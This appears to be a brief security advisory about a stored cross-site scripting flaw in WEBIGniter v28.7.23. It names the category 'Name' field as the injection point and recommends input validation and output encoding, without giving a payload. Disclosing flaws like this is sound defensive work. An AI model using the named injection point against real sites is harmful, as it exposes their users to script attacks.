WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)

Stored Cross-site scripting (XSS) is a severe vulnerability where a malicious script is inserted directly into a vulnerable web application, leading to potential attacks on users. This exploit allows an attacker to inject a malicious script into the 'Name' section of the category in WEBIGniter v28.7.23.

Mitigation:

To mitigate this vulnerability, input validation on user inputs should be performed to filter out potentially malicious scripts. Additionally, encoding user-generated content before displaying it can help prevent XSS attacks.
